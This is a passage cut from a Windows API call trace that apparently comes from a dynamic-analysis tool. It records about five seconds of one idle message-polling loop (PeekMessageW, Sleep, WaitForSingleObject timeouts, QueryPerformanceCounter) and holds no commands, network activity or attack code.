hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0102.233] Sleep (dwMilliseconds=0x64) [0102.356] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0102.356] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=613336707) returned 1 [0102.356] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=613336874) returned 1 [0102.357] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0102.357] Sleep (dwMilliseconds=0x64) [0102.453] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0102.454] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=613668716) returned 1 [0102.454] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=613668898) returned 1 [0102.454] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0102.454] Sleep (dwMilliseconds=0x64) [0102.561] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0102.562] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=614037727) returned 1 [0102.562] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=614037893) returned 1 [0102.562] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0102.562] Sleep (dwMilliseconds=0x64) [0102.669] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0102.669] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=614405323) returned 1 [0102.669] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=614405506) returned 1 [0102.669] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0102.669] Sleep (dwMilliseconds=0x64) [0102.778] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0102.778] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=614778560) returned 1 [0102.778] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=614778736) returned 1 [0102.778] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0102.779] Sleep (dwMilliseconds=0x64) [0102.887] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0102.888] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=615152104) returned 1 [0102.888] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=615152281) returned 1 [0102.888] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0102.888] Sleep (dwMilliseconds=0x64) [0102.997] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0102.997] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=615525245) returned 1 [0102.997] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=615525419) returned 1 [0102.998] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0102.999] Sleep (dwMilliseconds=0x64) [0103.106] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0103.106] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=615900235) returned 1 [0103.106] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=615900398) returned 1 [0103.107] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0103.107] Sleep (dwMilliseconds=0x64) [0103.216] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0103.216] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=616274752) returned 1 [0103.216] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=616274923) returned 1 [0103.216] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0103.217] Sleep (dwMilliseconds=0x64) [0103.330] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0103.330] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=616664947) returned 1 [0103.330] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=616665123) returned 1 [0103.331] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0103.331] Sleep (dwMilliseconds=0x64) [0103.434] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0103.434] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=617021005) returned 1 [0103.434] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=617021196) returned 1 [0103.435] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0103.436] Sleep (dwMilliseconds=0x64) [0103.543] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0103.543] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=617393516) returned 1 [0103.543] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=617393692) returned 1 [0103.544] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0103.544] Sleep (dwMilliseconds=0x64) [0103.652] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0103.652] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=617766591) returned 1 [0103.653] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=617766764) returned 1 [0103.653] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0103.653] Sleep (dwMilliseconds=0x64) [0103.810] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0103.810] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=618305065) returned 1 [0103.810] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=618305260) returned 1 [0103.811] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0103.811] Sleep (dwMilliseconds=0x64) [0103.928] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0103.928] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=618706925) returned 1 [0103.928] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=618707050) returned 1 [0103.929] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0103.929] Sleep (dwMilliseconds=0x64) [0104.026] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0104.026] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=619044262) returned 1 [0104.026] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=619044393) returned 1 [0104.027] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0104.028] Sleep (dwMilliseconds=0x64) [0104.136] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0104.136] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=619419171) returned 1 [0104.136] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=619419391) returned 1 [0104.136] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0104.137] Sleep (dwMilliseconds=0x64) [0104.245] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0104.245] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=619792305) returned 1 [0104.245] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=619792504) returned 1 [0104.246] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0104.246] Sleep (dwMilliseconds=0x64) [0104.355] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0104.355] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=620167529) returned 1 [0104.355] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=620167709) returned 1 [0104.355] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0104.356] Sleep (dwMilliseconds=0x64) [0104.463] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0104.464] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=620538835) returned 1 [0104.464] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=620539043) returned 1 [0104.465] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0104.465] Sleep (dwMilliseconds=0x64) [0104.573] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0104.573] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=620912086) returned 1 [0104.573] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=620912283) returned 1 [0104.573] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0104.574] Sleep (dwMilliseconds=0x64) [0104.682] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0104.682] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=621284962) returned 1 [0104.682] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=621285162) returned 1 [0104.682] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0104.683] Sleep (dwMilliseconds=0x64) [0104.791] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0104.791] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=621659279) returned 1 [0104.791] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=621659479) returned 1 [0104.792] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0104.792] Sleep (dwMilliseconds=0x64) [0104.901] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0104.901] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=622033914) returned 1 [0104.901] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=622034112) returned 1 [0104.901] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0104.902] Sleep (dwMilliseconds=0x64) [0105.010] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0105.010] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=622405818) returned 1 [0105.010] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=622406006) returned 1 [0105.010] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0105.011] Sleep (dwMilliseconds=0x64) [0105.119] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0105.119] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=622778715) returned 1 [0105.119] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=622778897) returned 1 [0105.119] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0105.120] Sleep (dwMilliseconds=0x64) [0105.230] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0105.230] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=623158484) returned 1 [0105.230] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=623158683) returned 1 [0105.230] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0105.231] Sleep (dwMilliseconds=0x64) [0105.365] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0105.365] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=623619863) returned 1 [0105.365] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=623620025) returned 1 [0105.365] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0105.366] Sleep (dwMilliseconds=0x64) [0105.464] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0105.464] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=623957463) returned 1 [0105.464] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=623957657) returned 1 [0105.465] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0105.465] Sleep (dwMilliseconds=0x64) [0105.572] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0105.572] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=624326019) returned 1 [0105.572] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=624326202) returned 1 [0105.572] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0105.572] Sleep (dwMilliseconds=0x64) [0105.680] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0105.681] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=624698372) returned 1 [0105.681] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=624698548) returned 1 [0105.681] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0105.681] Sleep (dwMilliseconds=0x64) [0105.795] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0105.795] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=625088879) returned 1 [0105.795] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=625089037) returned 1 [0105.795] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0105.796] Sleep (dwMilliseconds=0x64) [0105.898] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0105.898] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=625443040) returned 1 [0105.898] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=625443223) returned 1 [0105.900] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0105.900] Sleep (dwMilliseconds=0x64) [0106.009] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0106.009] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=625820023) returned 1 [0106.009] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=625820214) returned 1 [0106.009] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0106.010] Sleep (dwMilliseconds=0x64) [0106.117] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0106.117] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=626190947) returned 1 [0106.117] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=626191135) returned 1 [0106.118] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0106.118] Sleep (dwMilliseconds=0x64) [0106.226] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0106.227] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=626564530) returned 1 [0106.227] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=626564711) returned 1 [0106.227] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0106.227] Sleep (dwMilliseconds=0x64) [0106.372] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0106.372] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=627062646) returned 1 [0106.372] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=627062812) returned 1 [0106.373] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0106.373] Sleep (dwMilliseconds=0x64) [0106.497] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0106.497] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=627488898) returned 1 [0106.497] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=627489087) returned 1 [0106.498] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0106.499] Sleep (dwMilliseconds=0x64) [0106.601] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0106.601] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=627844450) returned 1 [0106.601] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=627844650) returned 1 [0106.601] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0106.602] Sleep (dwMilliseconds=0x64) [0106.710] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0106.710] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=628217901) returned 1 [0106.710] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=628218094) returned 1 [0106.711] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0106.711] Sleep (dwMilliseconds=0x64) [0106.819] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0106.819] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=628590666) returned 1 [0106.819] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=628590853) returned 1 [0106.820] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0106.820] Sleep (dwMilliseconds=0x64) [0106.928] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0106.928] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=628962870) returned 1 [0106.928] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=628963068) returned 1 [0106.929] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0106.929] Sleep (dwMilliseconds=0x64) [0107.038] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0107.038] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=629337443) returned 1 [0107.038] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=629337570) returned 1 [0107.038] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0107.039] Sleep (dwMilliseconds=0x64) [0107.147] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0107.147] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=629711084) returned 1 [0107.147] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=629711588) returned 1 [0107.148] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0107.149] Sleep (dwMilliseconds=0x64) [0107.256] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0107.256] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=630083763) returned 1 [0107.256] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=630083948) returned 1 [0107.257] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0107.257] Sleep (dwMilliseconds=0x64) [0107.384] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0107.384] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=630519381) returned 1 [0107.384] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=630519548) returned 1 [0107.384] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0107.384] Sleep (dwMilliseconds=0x64) [0107.508] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0107.508] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=630943209) returned 1 [0107.508] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=630943399) returned 1 [0107.509] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0107.510] Sleep (dwMilliseconds=0x64) [0107.615] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0107.615] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=631309279) returned 1 [0107.615] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=631309478) returned 1 [0107.615] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0107.616] Sleep (dwMilliseconds=0x64) [0107.724] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0107.724] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=631682335) returned 1 [0107.724] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=631682536) returned 1 [0107.724] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0107.725] Sleep (dwMilliseconds=0x64) [0107.836] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0107.836] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=632066442) returned 1 [0107.836] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=632066639) returned 1 [0107.837] PeekMessageW (in: 